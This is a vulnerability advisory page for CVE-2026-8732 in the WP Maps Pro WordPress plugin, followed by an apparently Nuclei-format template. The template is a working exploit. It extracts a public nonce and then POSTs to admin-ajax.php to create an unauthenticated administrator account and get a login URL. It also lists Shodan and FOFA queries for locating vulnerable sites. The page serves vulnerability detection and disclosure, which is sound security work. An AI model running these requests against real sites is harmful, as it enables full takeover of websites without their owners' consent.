WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation
Description
The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.
Severity
CVSS Score
9.8
Exploit Probability
22%
Affected Product
wp-google-map-gold
Published Date
Template Author
id: CVE-2026-8732
info:
name: WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation
author: DhiyaneshDk
severity: critical
description: |
The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.
impact: |
Unauthenticated attackers can create administrator accounts and fully authenticate, leading to complete site takeover.
remediation: |
Update to the latest version beyond 6.1.0.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-8732
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-maps-pro/cve-2026-8732/
- https://github.com/xShadow-Here/CVE-2026-8732
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-8732
cwe-id: CWE-862
epss-score: 0.21511
epss-percentile: 0.97432
metadata:
verified: true
max-request: 2
vendor: flippercode
product: wp-google-map-gold
fofa-query: body="/wp-content/plugins/wp-maps-pro/"
publicwww-query: "/wp-content/plugins/wp-maps-pro/"
shodan-query: http.html:"/wp-content/plugins/wp-maps-pro/"
tags: cve,cve2026,wordpress,wp-plugin,wp-maps-pro,unauth,priv-esc,intrusive,vkev
flow: http(1) && http(2)
variables:
username: "{{rand_base(8)}}"
email: "{{rand_base(6)}}@{{rand_base(4)}}.com"
password: "{{rand_base(10)}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml
matchers:
- type: dsl
dsl:
- 'contains(body, "wpgmp_local")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"wpgmp_local"[^;]*"nonce"\s*:\s*"([a-f0-9]+)"'
- 'wpgmp_local\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax&nonce={{nonce}}&check_temp=false&user_login={{username}}&user_email={{email}}&user_pass={{password}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'wpgmp_access='
- '"wpgmp_access":'
- 'login_url'
- 'user_id'
condition: and
- type: word
part: body
words:
- '"success":true'
- type: status
status:
- 200
# digest: 4a0a00473045022100f42a2924dc2570f0e0aca49978284228b2fff629eafba3f0a6fcc8ecb55b4b7d02201a927867f0555334f8c7c2cd0f62c2657985da187ddab500c0e947e73d720c60:922c64590222798bb761d5b6d8e72950